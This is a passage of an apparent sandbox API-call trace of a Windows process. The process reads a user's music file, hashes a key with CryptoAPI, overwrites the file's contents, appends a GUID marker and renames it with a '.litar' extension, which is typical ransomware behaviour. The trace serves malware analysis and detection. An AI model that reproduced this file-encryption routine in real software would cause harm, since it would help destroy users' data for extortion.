PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\U3NMPiDKOwkRxmiQp.m4a") returned=".m4a" [0125.499] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\U3NMPiDKOwkRxmiQp.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\u3nmpidkowkrxmiqp.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.499] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=74569) returned 1 [0125.499] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.501] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x12323, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.501] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.503] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.503] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.503] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.503] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x12349, lpOverlapped=0x0) returned 1 [0125.504] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.504] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.504] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.504] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.504] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.505] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.505] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.505] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.505] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.505] GetLastError () returned 0x0 [0125.505] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.505] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.505] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12350) returned 0x30fa0b0 [0125.505] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.505] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.505] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x12344, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x12344, lpOverlapped=0x0) returned 1 [0125.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.506] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x12349, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.506] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.506] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.506] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.506] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.506] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.506] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.506] CloseHandle (hObject=0x624) returned 1 [0125.507] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.507] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0125.507] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.507] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\U3NMPiDKOwkRxmiQp.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\u3nmpidkowkrxmiqp.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\U3NMPiDKOwkRxmiQp.m4a.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\u3nmpidkowkrxmiqp.m4a.litar")) returned 1 [0125.508] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.508] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0125.509] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9798bf30, ftCreationTime.dwHighDateTime=0x1d4cd1e, ftLastAccessTime.dwLowDateTime=0x5a4a3b80, ftLastAccessTime.dwHighDateTime=0x1d4cc3e, ftLastWriteTime.dwLowDateTime=0x5a4a3b80, ftLastWriteTime.dwHighDateTime=0x1d4cc3e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zTvNij62y31ygD", cAlternateFileName="ZTVNIJ~1")) returned 1 [0125.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30843f0 [0125.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0125.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30843f0 | out: hHeap=0x5c0000) returned 1 [0125.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.509] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9798bf30, ftCreationTime.dwHighDateTime=0x1d4cd1e, ftLastAccessTime.dwLowDateTime=0x5a4a3b80, ftLastAccessTime.dwHighDateTime=0x1d4cc3e, ftLastWriteTime.dwLowDateTime=0x5a4a3b80, ftLastWriteTime.dwHighDateTime=0x1d4cc3e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zTvNij62y31ygD", cAlternateFileName="ZTVNIJ~1")) returned 0 [0125.509] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0125.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0125.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f448 | out: hHeap=0x5c0000) returned 1 [0125.509] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.509] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.512] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.512] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.512] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.512] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.512] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.512] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.512] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.512] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.512] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.512] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.512] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.512] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.512] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.512] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.512] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.512] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.513] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.513] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.513] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.513] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.513] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.513] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.513] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.513] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.513] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.513] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.513] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.513] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.513] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.513] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.513] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.513] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.513] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.513] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.513] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.513] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.513] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.513] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.513] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.513] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.513] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.513] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.513] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.513] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.513] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.513] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.513] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.513] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.513] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.513] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.514] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.514] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.514] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, 